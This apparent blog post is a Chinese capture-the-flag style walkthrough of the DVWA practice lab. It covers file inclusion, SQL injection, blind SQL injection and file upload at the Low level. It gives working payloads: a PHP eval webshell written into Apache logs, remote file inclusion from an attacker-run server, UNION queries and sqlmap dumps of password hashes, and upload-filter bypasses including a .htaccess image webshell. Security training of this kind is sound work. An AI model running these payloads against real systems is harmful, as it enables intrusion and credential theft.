DVWA靶场通关教程

📅 发布时间:2026/10/11 1:30:01
DVWA靶场通关教程
目录DVWA靶场基本信息File Inclusion关卡SQL Injection关卡SQL Injection(Blind)关卡File Upload关卡结尾DVWA靶场基本信息登录界面账号 admin密码 password#其他默认用户名和密码:admin/password gordonb/abc1231337/charley pablo/letmein smithy/password# 忘记密码连接数据库----查看密码: use dvwa;show tables;----select* fromusers;--- MD5解密File Inclusion关卡难度等级Security : Low开始1. 读取敏感文件判断是否有漏洞点击页面中三个不同的php文件,发现url基本不变http://127.0.0.1/DVWA-master/vulnerabilities/fi/?pagexxx.php, 且页面框架基本一致 变化的只有后面的参数更改url参数# 根据系统进行更改 ,输入:/etc/passwd c:/windows/win.ini# ulr链接为:http://127.0.0.1/DVWA-master/vulnerabilities/fi/?pagec:/windows/win.ini结果: 返回了win.ini内容, 判断有文件包含漏洞;for16-bit app support[fonts][extensions][mci extensions][files][Mail]MAPI1[xianshuabao]client_uuid{8140E21C-3990-4bca-A302-2FE5901C649A}读取本地敏感文件burpsuite标记爆破其他路径,读取文件结果: 只有c:\Windows\win.ini路径可以读取2. 读取本地getshell利用日志写入功能, 将一句话木马写入到日志中, 然后getshell权限需要知晓服务器日志路径Apache服务器 常见日志文件路径Linux 系统/var/log/apache2/access.log(访问日志)/var/log/apache2/error.log(错误日志)/var/log/httpd/access_log/var/log/httpd/error_logWindows 系统C:\Apache24\logs\access.logC:\Apache\logs\access.logC:\xampp\apache\logs\access.log(XAMPP环境)C:\wamp\apache2\logs\access.log(WAMP环境)写入一句话木马url中输入:http://127.0.0.1/DVWA-master/vulnerabilities/fi/?php eval($_POST[cmd]);?找到日志文件路径这是在本机, 路径清楚, D:\web\tools\php2018\PHPTutorial\Apache\logs\access.log若是在对方服务器, 则需要自己找到对应的日志文件路径发现一句话木马被编码了使用burpsuite抓包, 改回正确的一句话木马连接webshell此外, 使用蚁剑连接, 请求中填写cookie信息,成功getshell3. 远程文件包含启用ip服务(或者使用自己云服务器IP)执行命令# Windows中python3-mhttp.server--bind0.0.0.012345# linux中python3-mhttp.server1234访问测试http://127.0.0.1:12345结果: 成功返回数据目标web网站访问攻击者ip地址执行命令http://127.0.0.1/DVWA-master/vulnerabilities/fi/?pagehttp://127.0.0.1:12345/cmd.php# hackbar的 body为:cmdphpinfo();SQL Injection关卡难度等级设置等级安全为low, 低等级Security: Low正式开始思路等级低, 我先尝试联合查询注入输入1 或输入2 , 分别返回不同的用户名判断是否有注入使用hackbar插件输入http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id1SubmitSubmit#提示错误了, 说明有注入判断注入类型输入http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id1asSubmitSubmit#页面提示: 正常,返回了用户名结果: 判断为字符型注入判断闭合方式输入http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id1asSubmitSubmit#数单引号结果, 判断闭合方式为单引号输入http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id1--SubmitSubmit# http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id1we%23SubmitSubmit#发现正常返回用户名了, 这里使用#号, 注释不行, 得用– 或者 %23判断表中列数输入http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id1we order by2%23SubmitSubmit#其他数量返回错误结果, 只有2时正确, 结果:得到表列数为2列判断显示位输入http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id1we unionselect11,12%23SubmitSubmit#11, 12 都能显示 ,说明都是显示位, 可以不用id-1 了但是这里给出一下http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id-1we unionselectdatabase(),12 %23SubmitSubmit#这样,结果看起来更简洁获取数据库名称输入http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id1we unionselectdatabase(),12 %23SubmitSubmit#结果: 得到数据库名称dvwa获取表名输入http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id-1we unionselect(select group_concat(table_name)from information_schema.tables wheretable_schemadatabase()),12 %23SubmitSubmit#结果,得到表名users , guestbook获取列名输入1# 获取了所有列名http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id-1we unionselect(select group_concat(column_name)from information_schema.columns wheretable_schemadatabase()),12 %23SubmitSubmit#结果: 得到列名comment_id,comment,name,user_id,first_name,last_name,user,password,avatar,last_login,failed_login输入2# 仅仅获取users表中的列名http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id-1we union select (select group_concat(column_name) from information_schema.columns where table_nameusers andtable_schemadatabase()),12 %23SubmitSubmit#结果: 得到users表中的列名user_id,first_name,last_name,user,password,avatar,last_login,failed_login输入3# 仅仅获取guestbook表中的列名http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id-1we union select (select group_concat(column_name) from information_schema.columns where table_nameguestbook andtable_schemadatabase()),12 %23SubmitSubmit#结果: 得到users表中的列名comment_id,comment,name获取数据输入1# 获取users表中的记录userhttp://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id-1we unionselect(select group_concat(user)fromusers),12 %23SubmitSubmit#结果: 得到了用户名admin,gordonb,1337,pablo,smithy输入2# 获取users表中的记录passwordhttp://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id-1we unionselect(select group_concat(password)fromusers),12 %23SubmitSubmit#结果: 得到了用户名admin,gordonb,1337,pablo,smithy输入3http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id-1we unionselect(select group_concat(password)fromusers),12 %23SubmitSubmit#得到加密的密码结果: md5解密,得到密码passwordSQLmap获取数据输入# 注意禁止拖库 ,仅供演示# dvwa靶场使用sqlmap 必须使用cookie参数sqlmap.py-uhttp://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id1SubmitSubmit#--batch-Ddvwa-Tusers-Cpassword--cookiesecuritylow;PHPSESSID4392a3si9t0o41a3g5efen0cf5;--dump结果: 得到密码password,abc123等SQL Injection(Blind)关卡security: Low说明: sql盲注思路已经提示是blind 盲注了, 那就直接进行盲注测试 盲注特征, 页面只会点头和摇头 盲注分类: 布尔盲注 和 时间盲注 用到的主要函数: sleep() length() substr() ascii() limit 0,1开始正式测试是否存在注入hackbar 中 payload :http://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/?id1 and11SubmitSubmit#payload的测试语句1 and 11 -- 1and12--输入1, 或 payload: 1 and 11 -- 正常, 存在与数据库中输入过大的数10, 或者 payload: 1 and 12 -- , 错误, 不存在于数据库中页面返回结果不同1 与前面的单引号完成了闭合 后面的11与12结果不同, 所以是字符型注入存在字符型注入获取数据库长度http://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/?id1 and length(database()) 4 %23SubmitSubmit# 或 ?id1/**/and/**/length(database())4--结果: 数据库长度为4获取数据库名payloadhttp://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/?id1 and ascii(substr((database()),1,1))100--SubmitSubmit#进行爆破, 得到数据库名 dvwasqlmap工具使用sqlmap.py-uhttp://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/?id1SubmitSubmit--cookiePHPSESSID4392a3si9t0o41a3g5efen0cf5;securitylow--batch-pid--dbs综合判断, 数据库名为dvwa获取表的数量id1/**/and/**/(select/**/count(table_name)/**/from/**/information_schema.tables/**/where/**/table_schemadvwa)2--结果: 得到表数量为2获取表名/DVWA-master/vulnerabilities/sqli_blind/?id1/**/and/**/ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schemadvwa/**/limit/**/0,1),§1§,1))§1§--burpsuite 中添加标记, 进行爆破结果: 分别得到表名guestbook 与 users获取字段列数?id1/**/and/**/(select/**/count(column_name)/**/from/**/information_schema.columns/**/where/**/table_schemadvwa/**/and/**//**/table_nameguestbook)3--–common-tables 只猜常见表名极快或添加 --string“User ID exists” 明确真条件。SQLmap获取数据File Upload关卡Security: Low难度等级低1. 判断客户端还是服务端检测上传cmd.php文件 ,发现刷新按钮有刷新burpsuite中也抓取到了相应包结论:服务端检测2. 判断检查内容还是检查后缀上传cmd.jpg文件(内容一句话代码) ,上传成功结论:仅检查了后缀3. 判断黑白名单上传任意后缀文件黑白.hiddenhidden,成功结论:黑名单检测绕过3.1 后缀大小写绕过更改文件名为:cmd.PHP,上传文件,成功3.2 后缀双写绕过更改文件名为:cmd.pphphp,上传文件, 也成功3.3 其他可解析后缀绕过上传cmd.php文件, 修改后缀为phtml, php2.....等等 这里php没加黑名单, 竟然也上传成功了burpsuite中修改后缀,尝试,发现php2也上传成功了分别使用蚁剑连接, 连接成功 之前尝试路径: http://127.0.0.1/DVWA-master/vulnerabilities/upload/hackable/uploads/cmd.php 失败../: 为定位到根目录,这里根目录则是 DVWA-masterphp2 , pphphp 解析失败PHP, phtml 解析成功3.4 图片马.htaccess配置文件绕过上传 cmd.png 与 .htaccess文件蚁剑连接图片马:cmd.png,连接成功结尾文章会根据我的知识库, 不断进行优化, 并待续更新中…欢迎关注我「悟道子HACK笔记」获取更多 最新网络安全技术分享 实战靶场源码与解析 系统化学习路线指南 行业动态与职业发展建议以上就是今日博客的全部内容了创作不易,若对您有帮助,可否点赞、关注一二呢,感谢支持.